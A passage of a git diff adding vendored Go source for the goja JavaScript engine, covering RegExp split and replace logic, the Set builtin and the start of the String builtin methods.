may recompile the pattern, but we still need to use the original + limit := -1 + if limitValue != _undefined { + limit = int(toUint32(limitValue)) + } + + if limit == 0 { + return r.newArrayValues(nil) + } + + targetLength := s.Length() + var valueArray []Value + lastIndex := 0 + found := 0 + + result := pattern.findAllSubmatchIndex(s, 0, -1, false) + if targetLength == 0 { + if result == nil { + valueArray = append(valueArray, s) + } + goto RETURN + } + + for _, match := range result { + if match[0] == match[1] { + // FIXME Ugh, this is a hack + if match[0] == 0 || match[0] == targetLength { + continue + } + } + + if lastIndex != match[0] { + valueArray = append(valueArray, s.Substring(lastIndex, match[0])) + found++ + } else if lastIndex == match[0] { + if lastIndex != -1 { + valueArray = append(valueArray, stringEmpty) + found++ + } + } + + lastIndex = match[1] + if found == limit { + goto RETURN + } + + captureCount := len(match) / 2 + for index := 1; index < captureCount; index++ { + offset := index * 2 + var value Value + if match[offset] != -1 { + value = s.Substring(match[offset], match[offset+1]) + } else { + value = _undefined + } + valueArray = append(valueArray, value) + found++ + if found == limit { + goto RETURN + } + } + } + + if found != limit { + if lastIndex != targetLength { + valueArray = append(valueArray, s.Substring(lastIndex, targetLength)) + } else { + valueArray = append(valueArray, stringEmpty) + } + } + +RETURN: + return r.newArrayValues(valueArray) +} + +func (r *Runtime) regexpproto_stdReplacerGeneric(rxObj *Object, s, replaceStr String, rcall func(FunctionCall) Value) Value { + var results []Value + flags := nilSafe(rxObj.self.getStr("flags", nil)).String() + isGlobal := strings.ContainsRune(flags, 'g') + isUnicode := strings.ContainsRune(flags, 'u') + if isGlobal { + results = r.getGlobalRegexpMatches(rxObj, s, isUnicode) + } else { + execFn := toMethod(rxObj.self.getStr("exec", nil)) // must be non-nil + result := r.regExpExec(execFn, rxObj, s) + if result != _null { + results = append(results, result) + } + } + lengthS := s.Length() + nextSourcePosition := 0 + var resultBuf StringBuilder + for _, result := range results { + obj := r.toObject(result) + nCaptures := max(toLength(obj.self.getStr("length", nil))-1, 0) + matched := nilSafe(obj.self.getIdx(valueInt(0), nil)).toString() + matchLength := matched.Length() + position := toIntStrict(max(min(nilSafe(obj.self.getStr("index", nil)).ToInteger(), int64(lengthS)), 0)) + var captures []Value + if rcall != nil { + captures = make([]Value, 0, nCaptures+3) + } else { + captures = make([]Value, 0, nCaptures+1) + } + captures = append(captures, matched) + for n := int64(1); n <= nCaptures; n++ { + capN := nilSafe(obj.self.getIdx(valueInt(n), nil)) + if capN != _undefined { + capN = capN.ToString() + } + captures = append(captures, capN) + } + var replacement String + if rcall != nil { + captures = append(captures, intToValue(int64(position)), s) + replacement = rcall(FunctionCall{ + This: _undefined, + Arguments: captures, + }).toString() + if position >= nextSourcePosition { + resultBuf.WriteString(s.Substring(nextSourcePosition, position)) + resultBuf.WriteString(replacement) + nextSourcePosition = position + matchLength + } + } else { + if position >= nextSourcePosition { + resultBuf.WriteString(s.Substring(nextSourcePosition, position)) + writeSubstitution(s, position, len(captures), func(idx int) String { + capture := captures[idx] + if capture != _undefined { + return capture.toString() + } + return stringEmpty + }, replaceStr, &resultBuf) + nextSourcePosition = position + matchLength + } + } + } + if nextSourcePosition < lengthS { + resultBuf.WriteString(s.Substring(nextSourcePosition, lengthS)) + } + return resultBuf.String() +} + +func writeSubstitution(s String, position int, numCaptures int, getCapture func(int) String, replaceStr String, buf *StringBuilder) { + l := s.Length() + rl := replaceStr.Length() + matched := getCapture(0) + tailPos := position + matched.Length() + + for i := 0; i < rl; i++ { + c := replaceStr.CharAt(i) + if c == '$' && i < rl-1 { + ch := replaceStr.CharAt(i + 1) + switch ch { + case '$': + buf.WriteRune('$') + case '`': + buf.WriteString(s.Substring(0, position)) + case '\'': + if tailPos < l { + buf.WriteString(s.Substring(tailPos, l)) + } + case '&': + buf.WriteString(matched) + default: + matchNumber := 0 + j := i + 1 + for j < rl { + ch := replaceStr.CharAt(j) + if ch >= '0' && ch <= '9' { + m := matchNumber*10 + int(ch-'0') + if m >= numCaptures { + break + } + matchNumber = m + j++ + } else { + break + } + } + if matchNumber > 0 { + buf.WriteString(getCapture(matchNumber)) + i = j - 1 + continue + } else { + buf.WriteRune('$') + buf.WriteRune(rune(ch)) + } + } + i++ + } else { + buf.WriteRune(rune(c)) + } + } +} + +func (r *Runtime) regexpproto_stdReplacer(call FunctionCall) Value { + rxObj := r.toObject(call.This) + s := call.Argument(0).toString() + replaceStr, rcall := getReplaceValue(call.Argument(1)) + + rx := r.checkStdRegexp(rxObj) + if rx == nil { + return r.regexpproto_stdReplacerGeneric(rxObj, s, replaceStr, rcall) + } + + var index int64 + find := 1 + if rx.pattern.global { + find = -1 + } else { + index = rx.getLastIndex() + } + found := rx.pattern.findAllSubmatchIndex(s, toIntStrict(index), find, rx.pattern.sticky) + if rx.pattern.global || rx.pattern.sticky { + var newLastIndex int64 + if !rx.pattern.global && len(found) > 0 { + newLastIndex = int64(found[len(found)-1][1]) + } + rx.setOwnStr("lastIndex", intToValue(newLastIndex), true) + } + + return stringReplace(s, found, replaceStr, rcall) +} + +func (r *Runtime) regExpStringIteratorProto_next(call FunctionCall) Value { + thisObj := r.toObject(call.This) + if iter, ok := thisObj.self.(*regExpStringIterObject); ok { + return iter.next() + } + panic(r.NewTypeError("Method RegExp String Iterator.prototype.next called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) +} + +func (r *Runtime) createRegExpStringIteratorPrototype(val *Object) objectImpl { + o := newBaseObjectObj(val, r.getIteratorPrototype(), classObject) + + o._putProp("next", r.newNativeFunc(r.regExpStringIteratorProto_next, "next", 0), true, false, true) + o._putSym(SymToStringTag, valueProp(asciiString(classRegExpStringIterator), false, false, true)) + + return o +} + +func (r *Runtime) getRegExpStringIteratorPrototype() *Object { + var o *Object + if o = r.global.RegExpStringIteratorPrototype; o == nil { + o = &Object{runtime: r} + r.global.RegExpStringIteratorPrototype = o + o.self = r.createRegExpStringIteratorPrototype(o) + } + return o +} + +func (r *Runtime) getRegExp() *Object { + ret := r.global.RegExp + if ret == nil { + ret = &Object{runtime: r} + r.global.RegExp = ret + proto := r.getRegExpPrototype() + r.newNativeFuncAndConstruct(ret, r.builtin_RegExp, + r.wrapNativeConstruct(r.builtin_newRegExp, ret, proto), proto, "RegExp", intToValue(2)) + rx := ret.self + r.putSpeciesReturnThis(rx) + } + return ret +} + +func (r *Runtime) getRegExpPrototype() *Object { + ret := r.global.RegExpPrototype + if ret == nil { + o := r.newGuardedObject(r.global.ObjectPrototype, classObject) + ret = o.val + r.global.RegExpPrototype = ret + r.global.stdRegexpProto = o + + o._putProp("constructor", r.getRegExp(), true, false, true) + o._putProp("compile", r.newNativeFunc(r.regexpproto_compile, "compile", 2), true, false, true) + o._putProp("exec", r.newNativeFunc(r.regexpproto_exec, "exec", 1), true, false, true) + o._putProp("test", r.newNativeFunc(r.regexpproto_test, "test", 1), true, false, true) + o._putProp("toString", r.newNativeFunc(r.regexpproto_toString, "toString", 0), true, false, true) + o.setOwnStr("source", &valueProperty{ + configurable: true, + getterFunc: r.newNativeFunc(r.regexpproto_getSource, "get source", 0), + accessor: true, + }, false) + o.setOwnStr("global", &valueProperty{ + configurable: true, + getterFunc: r.newNativeFunc(r.regexpproto_getGlobal, "get global", 0), + accessor: true, + }, false) + o.setOwnStr("multiline", &valueProperty{ + configurable: true, + getterFunc: r.newNativeFunc(r.regexpproto_getMultiline, "get multiline", 0), + accessor: true, + }, false) + o.setOwnStr("dotAll", &valueProperty{ + configurable: true, + getterFunc: r.newNativeFunc(r.regexpproto_getDotAll, "get dotAll", 0), + accessor: true, + }, false) + o.setOwnStr("ignoreCase", &valueProperty{ + configurable: true, + getterFunc: r.newNativeFunc(r.regexpproto_getIgnoreCase, "get ignoreCase", 0), + accessor: true, + }, false) + o.setOwnStr("unicode", &valueProperty{ + configurable: true, + getterFunc: r.newNativeFunc(r.regexpproto_getUnicode, "get unicode", 0), + accessor: true, + }, false) + o.setOwnStr("sticky", &valueProperty{ + configurable: true, + getterFunc: r.newNativeFunc(r.regexpproto_getSticky, "get sticky", 0), + accessor: true, + }, false) + o.setOwnStr("flags", &valueProperty{ + configurable: true, + getterFunc: r.newNativeFunc(r.regexpproto_getFlags, "get flags", 0), + accessor: true, + }, false) + + o._putSym(SymMatch, valueProp(r.newNativeFunc(r.regexpproto_stdMatcher, "[Symbol.match]", 1), true, false, true)) + o._putSym(SymMatchAll, valueProp(r.newNativeFunc(r.regexpproto_stdMatcherAll, "[Symbol.matchAll]", 1), true, false, true)) + o._putSym(SymSearch, valueProp(r.newNativeFunc(r.regexpproto_stdSearch, "[Symbol.search]", 1), true, false, true)) + o._putSym(SymSplit, valueProp(r.newNativeFunc(r.regexpproto_stdSplitter, "[Symbol.split]", 2), true, false, true)) + o._putSym(SymReplace, valueProp(r.newNativeFunc(r.regexpproto_stdReplacer, "[Symbol.replace]", 2), true, false, true)) + o.guard("exec", "global", "multiline", "ignoreCase", "unicode", "sticky") + } + return ret +} diff --git a/backend/vendor/github.com/dop251/goja/builtin_set.go b/backend/vendor/github.com/dop251/goja/builtin_set.go new file mode 100644 index 0000000..eeedb88 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/builtin_set.go @@ -0,0 +1,346 @@ +package goja + +import ( + "fmt" + "reflect" +) + +var setExportType = reflectTypeArray + +type setObject struct { + baseObject + m *orderedMap +} + +type setIterObject struct { + baseObject + iter *orderedMapIter + kind iterationKind +} + +func (o *setIterObject) next() Value { + if o.iter == nil { + return o.val.runtime.createIterResultObject(_undefined, true) + } + + entry := o.iter.next() + if entry == nil { + o.iter = nil + return o.val.runtime.createIterResultObject(_undefined, true) + } + + var result Value + switch o.kind { + case iterationKindValue: + result = entry.key + default: + result = o.val.runtime.newArrayValues([]Value{entry.key, entry.key}) + } + + return o.val.runtime.createIterResultObject(result, false) +} + +func (so *setObject) init() { + so.baseObject.init() + so.m = newOrderedMap(so.val.runtime.getHash()) +} + +func (so *setObject) exportType() reflect.Type { + return setExportType +} + +func (so *setObject) export(ctx *objectExportCtx) interface{} { + a := make([]interface{}, so.m.size) + ctx.put(so.val, a) + iter := so.m.newIter() + for i := 0; i < len(a); i++ { + entry := iter.next() + if entry == nil { + break + } + a[i] = exportValue(entry.key, ctx) + } + return a +} + +func (so *setObject) exportToArrayOrSlice(dst reflect.Value, typ reflect.Type, ctx *objectExportCtx) error { + l := so.m.size + if typ.Kind() == reflect.Array { + if dst.Len() != l { + return fmt.Errorf("cannot convert a Set into an array, lengths mismatch: have %d, need %d)", l, dst.Len()) + } + } else { + dst.Set(reflect.MakeSlice(typ, l, l)) + } + ctx.putTyped(so.val, typ, dst.Interface()) + iter := so.m.newIter() + r := so.val.runtime + for i := 0; i < l; i++ { + entry := iter.next() + if entry == nil { + break + } + err := r.toReflectValue(entry.key, dst.Index(i), ctx) + if err != nil { + return err + } + } + return nil +} + +func (so *setObject) exportToMap(dst reflect.Value, typ reflect.Type, ctx *objectExportCtx) error { + dst.Set(reflect.MakeMap(typ)) + keyTyp := typ.Key() + elemTyp := typ.Elem() + iter := so.m.newIter() + r := so.val.runtime + for { + entry := iter.next() + if entry == nil { + break + } + keyVal := reflect.New(keyTyp).Elem() + err := r.toReflectValue(entry.key, keyVal, ctx) + if err != nil { + return err + } + dst.SetMapIndex(keyVal, reflect.Zero(elemTyp)) + } + return nil +} + +func (r *Runtime) setProto_add(call FunctionCall) Value { + thisObj := r.toObject(call.This) + so, ok := thisObj.self.(*setObject) + if !ok { + panic(r.NewTypeError("Method Set.prototype.add called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) + } + + so.m.set(call.Argument(0), nil) + return call.This +} + +func (r *Runtime) setProto_clear(call FunctionCall) Value { + thisObj := r.toObject(call.This) + so, ok := thisObj.self.(*setObject) + if !ok { + panic(r.NewTypeError("Method Set.prototype.clear called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) + } + + so.m.clear() + return _undefined +} + +func (r *Runtime) setProto_delete(call FunctionCall) Value { + thisObj := r.toObject(call.This) + so, ok := thisObj.self.(*setObject) + if !ok { + panic(r.NewTypeError("Method Set.prototype.delete called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) + } + + return r.toBoolean(so.m.remove(call.Argument(0))) +} + +func (r *Runtime) setProto_entries(call FunctionCall) Value { + return r.createSetIterator(call.This, iterationKindKeyValue) +} + +func (r *Runtime) setProto_forEach(call FunctionCall) Value { + thisObj := r.toObject(call.This) + so, ok := thisObj.self.(*setObject) + if !ok { + panic(r.NewTypeError("Method Set.prototype.forEach called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) + } + callbackFn, ok := r.toObject(call.Argument(0)).self.assertCallable() + if !ok { + panic(r.NewTypeError("object is not a function %s")) + } + t := call.Argument(1) + iter := so.m.newIter() + for { + entry := iter.next() + if entry == nil { + break + } + callbackFn(FunctionCall{This: t, Arguments: []Value{entry.key, entry.key, thisObj}}) + } + + return _undefined +} + +func (r *Runtime) setProto_has(call FunctionCall) Value { + thisObj := r.toObject(call.This) + so, ok := thisObj.self.(*setObject) + if !ok { + panic(r.NewTypeError("Method Set.prototype.has called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) + } + + return r.toBoolean(so.m.has(call.Argument(0))) +} + +func (r *Runtime) setProto_getSize(call FunctionCall) Value { + thisObj := r.toObject(call.This) + so, ok := thisObj.self.(*setObject) + if !ok { + panic(r.NewTypeError("Method get Set.prototype.size called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) + } + + return intToValue(int64(so.m.size)) +} + +func (r *Runtime) setProto_values(call FunctionCall) Value { + return r.createSetIterator(call.This, iterationKindValue) +} + +func (r *Runtime) builtin_newSet(args []Value, newTarget *Object) *Object { + if newTarget == nil { + panic(r.needNew("Set")) + } + proto := r.getPrototypeFromCtor(newTarget, r.global.Set, r.global.SetPrototype) + o := &Object{runtime: r} + + so := &setObject{} + so.class = classObject + so.val = o + so.extensible = true + o.self = so + so.prototype = proto + so.init() + if len(args) > 0 { + if arg := args[0]; arg != nil && arg != _undefined && arg != _null { + adder := so.getStr("add", nil) + stdArr := r.checkStdArrayIter(arg) + if adder == r.global.setAdder { + if stdArr != nil { + for _, v := range stdArr.values { + so.m.set(v, nil) + } + } else { + r.getIterator(arg, nil).iterate(func(item Value) { + so.m.set(item, nil) + }) + } + } else { + adderFn := toMethod(adder) + if adderFn == nil { + panic(r.NewTypeError("Set.add in missing")) + } + if stdArr != nil { + for _, item := range stdArr.values { + adderFn(FunctionCall{This: o, Arguments: []Value{item}}) + } + } else { + r.getIterator(arg, nil).iterate(func(item Value) { + adderFn(FunctionCall{This: o, Arguments: []Value{item}}) + }) + } + } + } + } + return o +} + +func (r *Runtime) createSetIterator(setValue Value, kind iterationKind) Value { + obj := r.toObject(setValue) + setObj, ok := obj.self.(*setObject) + if !ok { + panic(r.NewTypeError("Object is not a Set")) + } + + o := &Object{runtime: r} + + si := &setIterObject{ + iter: setObj.m.newIter(), + kind: kind, + } + si.class = classObject + si.val = o + si.extensible = true + o.self = si + si.prototype = r.getSetIteratorPrototype() + si.init() + + return o +} + +func (r *Runtime) setIterProto_next(call FunctionCall) Value { + thisObj := r.toObject(call.This) + if iter, ok := thisObj.self.(*setIterObject); ok { + return iter.next() + } + panic(r.NewTypeError("Method Set Iterator.prototype.next called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) +} + +func (r *Runtime) createSetProto(val *Object) objectImpl { + o := newBaseObjectObj(val, r.global.ObjectPrototype, classObject) + + o._putProp("constructor", r.getSet(), true, false, true) + r.global.setAdder = r.newNativeFunc(r.setProto_add, "add", 1) + o._putProp("add", r.global.setAdder, true, false, true) + + o._putProp("clear", r.newNativeFunc(r.setProto_clear, "clear", 0), true, false, true) + o._putProp("delete", r.newNativeFunc(r.setProto_delete, "delete", 1), true, false, true) + o._putProp("forEach", r.newNativeFunc(r.setProto_forEach, "forEach", 1), true, false, true) + o._putProp("has", r.newNativeFunc(r.setProto_has, "has", 1), true, false, true) + o.setOwnStr("size", &valueProperty{ + getterFunc: r.newNativeFunc(r.setProto_getSize, "get size", 0), + accessor: true, + writable: true, + configurable: true, + }, true) + + valuesFunc := r.newNativeFunc(r.setProto_values, "values", 0) + o._putProp("values", valuesFunc, true, false, true) + o._putProp("keys", valuesFunc, true, false, true) + o._putProp("entries", r.newNativeFunc(r.setProto_entries, "entries", 0), true, false, true) + o._putSym(SymIterator, valueProp(valuesFunc, true, false, true)) + o._putSym(SymToStringTag, valueProp(asciiString(classSet), false, false, true)) + + return o +} + +func (r *Runtime) createSet(val *Object) objectImpl { + o := r.newNativeConstructOnly(val, r.builtin_newSet, r.getSetPrototype(), "Set", 0) + r.putSpeciesReturnThis(o) + + return o +} + +func (r *Runtime) createSetIterProto(val *Object) objectImpl { + o := newBaseObjectObj(val, r.getIteratorPrototype(), classObject) + + o._putProp("next", r.newNativeFunc(r.setIterProto_next, "next", 0), true, false, true) + o._putSym(SymToStringTag, valueProp(asciiString(classSetIterator), false, false, true)) + + return o +} + +func (r *Runtime) getSetIteratorPrototype() *Object { + var o *Object + if o = r.global.SetIteratorPrototype; o == nil { + o = &Object{runtime: r} + r.global.SetIteratorPrototype = o + o.self = r.createSetIterProto(o) + } + return o +} + +func (r *Runtime) getSetPrototype() *Object { + ret := r.global.SetPrototype + if ret == nil { + ret = &Object{runtime: r} + r.global.SetPrototype = ret + ret.self = r.createSetProto(ret) + } + return ret +} + +func (r *Runtime) getSet() *Object { + ret := r.global.Set + if ret == nil { + ret = &Object{runtime: r} + r.global.Set = ret + ret.self = r.createSet(ret) + } + return ret +} diff --git a/backend/vendor/github.com/dop251/goja/builtin_string.go b/backend/vendor/github.com/dop251/goja/builtin_string.go new file mode 100644 index 0000000..7248eca --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/builtin_string.go @@ -0,0 +1,1108 @@ +package goja + +import ( + "math" + "strings" + "sync" + "unicode/utf16" + "unicode/utf8" + + "github.com/dop251/goja/unistring" + + "github.com/dop251/goja/parser" + "golang.org/x/text/collate" + "golang.org/x/text/language" + "golang.org/x/text/unicode/norm" +) + +func (r *Runtime) collator() *collate.Collator { + collator := r._collator + if collator == nil { + collator = collate.New(language.Und) + r._collator = collator + } + return collator +} + +func toString(arg Value) String { + if s, ok := arg.(String); ok { + return s + } + if s, ok := arg.(*Symbol); ok { + return s.descriptiveString() + } + return arg.toString() +} + +func (r *Runtime) builtin_String(call FunctionCall) Value { + if len(call.Arguments) > 0 { + return toString(call.Arguments[0]) + } else { + return stringEmpty + } +} + +func (r *Runtime) _newString(s String, proto *Object) *Object { + v := &Object{runtime: r} + + o := &stringObject{} + o.class = classString + o.val = v + o.extensible = true + v.self = o + o.prototype = proto + if s != nil { + o.value = s + } + o.init() + return v +} + +func (r *Runtime) builtin_newString(args []Value, proto *Object) *Object { + var s String + if len(args) > 0 { + s = args[0].toString() + } else { + s = stringEmpty + } + return r._newString(s, proto) +} + +func (r *Runtime) stringproto_toStringValueOf(this Value, funcName string) Value { + if str, ok := this.(String); ok { + return str + } + if obj, ok := this.(*Object); ok { + if strObj, ok := obj.self.(*stringObject); ok { + return strObj.value + } + if reflectObj, ok := obj.self.(*objectGoReflect); ok && reflectObj.class == classString { + if toString := reflectObj.toString; toString != nil { + return toString() + } + if valueOf := reflectObj.valueOf; valueOf != nil { + return valueOf() + } + } + if obj == r.global.StringPrototype { + return stringEmpty + } + } + r.typeErrorResult(true, "String.prototype.%s is called on incompatible receiver", funcName) + return nil +} + +func (r *Runtime) stringproto_toString(call FunctionCall) Value { + return r.stringproto_toStringValueOf(call.This, "toString") +} + +func (r *Runtime) stringproto_valueOf(call FunctionCall) Value { + return r.stringproto_toStringValueOf(call.This, "valueOf") +} + +func (r *Runtime) stringproto_iterator(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + return r.createStringIterator(call.This.toString()) +} + +func (r *Runtime) string_fromcharcode(call FunctionCall) Value { + b := make([]byte, len(call.Arguments)) + for i, arg := range call.Arguments { + chr := toUint16(arg) + if chr >= utf8.RuneSelf { + bb := make([]uint16, len(call.Arguments)+1) + bb[0] = unistring.BOM + bb1 := bb[1:] + for j := 0; j < i; j++ { + bb1[j] = uint16(b[j]) + } + bb1[i] = chr + i++ + for j, arg := range call.Arguments[i:] { + bb1[i+j] = toUint16(arg) + } + return unicodeString(bb) + } + b[i] = byte(chr) + } + + return asciiString(b) +} + +func (r *Runtime) string_fromcodepoint(call FunctionCall) Value { + var sb StringBuilder + for _, arg := range call.Arguments { + num := arg.ToNumber() + var c rune + if numInt, ok := num.(valueInt); ok { + if numInt < 0 || numInt > utf8.MaxRune { + panic(r.newError(r.getRangeError(), "Invalid code point %d", numInt)) + } + c = rune(numInt) + } else { + panic(r.newError(r.getRangeError(), "Invalid code point %s", num)) + } + sb.WriteRune(c) + } + return sb.String() +} + +func (r *Runtime) string_raw(call FunctionCall) Value { + cooked := call.Argument(0).ToObject(r) + raw := nilSafe(cooked.self.getStr("raw", nil)).ToObject(r) + literalSegments := toLength(raw.self.getStr("length", nil)) + if literalSegments <= 0 { + return stringEmpty + } + var stringElements StringBuilder + nextIndex := int64(0) + numberOfSubstitutions := int64(len(call.Arguments) - 1) + for { + nextSeg := nilSafe(raw.self.getIdx(valueInt(nextIndex), nil)).toString() + stringElements.WriteString(nextSeg) + if nextIndex+1 == literalSegments { + return stringElements.String() + } + if nextIndex < numberOfSubstitutions { + stringElements.WriteString(nilSafe(call.Arguments[nextIndex+1]).toString()) + } + nextIndex++ + } +} + +func (r *Runtime) stringproto_at(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + s := call.This.toString() + pos := call.Argument(0).ToInteger() + length := int64(s.Length()) + if pos < 0 { + pos = length + pos + } + if pos >= length || pos < 0 { + return _undefined + } + return s.Substring(int(pos), int(pos+1)) +} + +func (r *Runtime) stringproto_charAt(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + s := call.This.toString() + pos := call.Argument(0).ToInteger() + if pos < 0 || pos >= int64(s.Length()) { + return stringEmpty + } + return s.Substring(int(pos), int(pos+1)) +} + +func (r *Runtime) stringproto_charCodeAt(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + s := call.This.toString() + pos := call.Argument(0).ToInteger() + if pos < 0 || pos >= int64(s.Length()) { + return _NaN + } + return intToValue(int64(s.CharAt(toIntStrict(pos)) & 0xFFFF)) +} + +func (r *Runtime) stringproto_codePointAt(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + s := call.This.toString() + p := call.Argument(0).ToInteger() + size := s.Length() + if p < 0 || p >= int64(size) { + return _undefined + } + pos := toIntStrict(p) + first := s.CharAt(pos) + if isUTF16FirstSurrogate(first) { + pos++ + if pos < size { + second := s.CharAt(pos) + if isUTF16SecondSurrogate(second) { + return intToValue(int64(utf16.DecodeRune(rune(first), rune(second)))) + } + } + } + return intToValue(int64(first & 0xFFFF)) +} + +func (r *Runtime) stringproto_concat(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + strs := make([]String, len(call.Arguments)+1) + a, u := devirtualizeString(call.This.toString()) + allAscii := true + totalLen := 0 + if u == nil { + strs[0] = a + totalLen = len(a) + } else { + strs[0] = u + totalLen = u.Length() + allAscii = false + } + for i, arg := range call.Arguments { + a, u := devirtualizeString(arg.toString()) + if u != nil { + allAscii = false + totalLen += u.Length() + strs[i+1] = u + } else { + totalLen += a.Length() + strs[i+1] = a + } + } + + if allAscii { + var buf strings.Builder + buf.Grow(totalLen) + for _, s := range strs { + buf.WriteString(s.String()) + } + return asciiString(buf.String()) + } else { + buf := make([]uint16, totalLen+1) + buf[0] = unistring.BOM + pos := 1 + for _, s := range strs { + switch s := s.(type) { + case asciiString: + for i := 0; i < len(s); i++ { + buf[pos] = uint16(s[i]) + pos++ + } + case unicodeString: + copy(buf[pos:], s[1:]) + pos += s.Length() + } + } + return unicodeString(buf) + } +} + +func (r *Runtime) stringproto_endsWith(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + s := call.This.toString() + searchString := call.Argument(0) + if isRegexp(searchString) { + panic(r.NewTypeError("First argument to String.prototype.endsWith must not be a regular expression")) + } + searchStr := searchString.toString() + l := int64(s.Length()) + var pos int64 + if posArg := call.Argument(1); posArg != _undefined { + pos = posArg.ToInteger() + } else { + pos = l + } + end := toIntStrict(min(max(pos, 0), l)) + searchLength := searchStr.Length() + start := end - searchLength + if start < 0 { + return valueFalse + } + for i := 0; i < searchLength; i++ { + if s.CharAt(start+i) != searchStr.CharAt(i) { + return valueFalse + } + } + return valueTrue +} + +func (r *Runtime) stringproto_includes(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + s := call.This.toString() + searchString := call.Argument(0) + if isRegexp(searchString) { + panic(r.NewTypeError("First argument to String.prototype.includes must not be a regular expression")) + } + searchStr := searchString.toString() + var pos int64 + if posArg := call.Argument(1); posArg != _undefined { + pos = posArg.ToInteger() + } else { + pos = 0 + } + start := toIntStrict(min(max(pos, 0), int64(s.Length()))) + if s.index(searchStr, start) != -1 { + return valueTrue + } + return valueFalse +} + +func (r *Runtime) stringproto_indexOf(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + value := call.This.toString() + target := call.Argument(0).toString() + pos := call.Argument(1).ToNumber().ToInteger() + + if pos < 0 { + pos = 0 + } else { + l := int64(value.Length()) + if pos > l { + pos = l + } + } + + return intToValue(int64(value.index(target, toIntStrict(pos)))) +} + +func (r *Runtime) stringproto_lastIndexOf(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + value := call.This.toString() + target := call.Argument(0).toString() + numPos := call.Argument(1).ToNumber() + + var pos int64 + if f, ok := numPos.(valueFloat); ok && math.IsNaN(float64(f)) { + pos = int64(value.Length()) + } else { + pos = numPos.ToInteger() + if pos < 0 { + pos = 0 + } else { + l := int64(value.Length()) + if pos > l { + pos = l + } + } + } + + return intToValue(int64(value.lastIndex(target, toIntStrict(pos)))) +} + +func (r *Runtime) stringproto_localeCompare(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + this := norm.NFD.String(call.This.toString().String()) + that := norm.NFD.String(call.Argument(0).toString().String()) + return intToValue(int64(r.collator().CompareString(this, that))) +} + +func (r *Runtime) stringproto_match(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + regexp := call.Argument(0) + if _, ok := regexp.(*Object); ok { + if matcher := toMethod(r.getV(regexp, SymMatch)); matcher != nil { + return matcher(FunctionCall{ + This: regexp, + Arguments: []Value{call.This}, + }) + } + } + + var rx *regexpObject + if regexp, ok := regexp.(*Object); ok { + rx, _ = regexp.self.(*regexpObject) + } + + if rx == nil { + rx = r.newRegExp(regexp, nil, r.getRegExpPrototype()) + } + + if matcher, ok := r.toObject(rx.getSym(SymMatch, nil)).self.assertCallable(); ok { + return matcher(FunctionCall{ + This: rx.val, + Arguments: []Value{call.This.toString()}, + }) + } + + panic(r.NewTypeError("RegExp matcher is not a function")) +} + +func (r *Runtime) stringproto_matchAll(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + regexp := call.Argument(0) + if o, ok := regexp.(*Object); ok { + if isRegexp(regexp) { + flags := nilSafe(o.self.getStr("flags", nil)) + r.checkObjectCoercible(flags) + if !strings.Contains(flags.toString().String(), "g") { + panic(r.NewTypeError("RegExp doesn't have global flag set")) + } + } + if matcher := toMethod(r.getV(regexp, SymMatchAll)); matcher != nil { + return matcher(FunctionCall{ + This: regexp, + Arguments: []Value{call.This}, + }) + } + } + + rx := r.newRegExp(regexp, asciiString("g"), r.getRegExpPrototype()) + + if matcher, ok := r.toObject(rx.getSym(SymMatchAll, nil)).self.assertCallable(); ok { + return matcher(FunctionCall{ + This: rx.val, + Arguments: []Value{call.This.toString()}, + }) + } + + panic(r.NewTypeError("RegExp matcher is not a function")) +} + +func (r *Runtime) stringproto_normalize(call FunctionCall) Value { + r.checkObjectCoercible(call.This) + s := call.This.toString() + var form string + if formArg := call.Argument(0); formArg != _undefined { + form = formArg.toString().toString().String() + } else { + form = "NFC" + } + var f norm.Form + switch form { + case "NFC": + f = norm.NFC + case "NFD": + f = norm.NFD + case "NFKC": + f = norm.NFKC + case "NFKD": + f = norm.NFKD + default: + panic(r.newError(r.getRangeError(), "The normalization form should be one of NFC, NFD, NFKC, NFKD")) + } + + switch s := s.(type) { + case asciiString: + return s + case unicodeString: + ss := s.String() + return newStringValue(f.String(ss)) + case *importedString: + if s.scanned && s.u == nil { + return asciiString(s.s) + } + return newStringValue(f.String(s.s)) + default: + panic(unknownStringTypeErr(s)) + } +} + +func (r *Runtime) _stringPad(call FunctionCall, start bool) Value { + r.checkObjectCoercible(call.This) + s := call.This.toString() + maxLength := toLength(call.Argument(0)) + stringLength := int64(s.Length()) + if maxLength <= stringLength { + return s + } + strAscii, strUnicode := devirtualizeString(s) + var filler String + var fillerAscii asciiString + var fillerUnicode unicodeString + if fillString := call.Argument(1); fillString != _undefined { + filler = fillString.toString() + if filler.Length() == 0 { + return s + } + fillerAscii, fillerUnicode = devirtualizeString(filler) + } else { + fillerAscii = " " + filler = fillerAscii + } + remaining := toIntStrict(maxLength - stringLength) + if fillerUnicode == nil && strUnicode == nil { + fl := fillerAscii.Length() + var sb strings.Builder + sb.Grow(toIntStrict(maxLength)) + if !start { + sb.WriteString(string(strAscii)) + } + for remaining >= fl { + sb.WriteString(string(fillerAscii)) + remaining -= fl + } + if remaining > 0 { + sb.WriteString(string(fillerAscii[:remaining])) + } + if start { + sb.WriteString(string(strAscii)) + } + return asciiString(sb.String()) + } + var sb unicodeStringBuilder + sb.Grow(toIntStrict(maxLength)) + if !start { + sb.writeString(s) + } + fl := filler.Length() + for remaining >= fl { + sb.writeString(filler) + remaining -= fl + } + if remaining > 0 { + 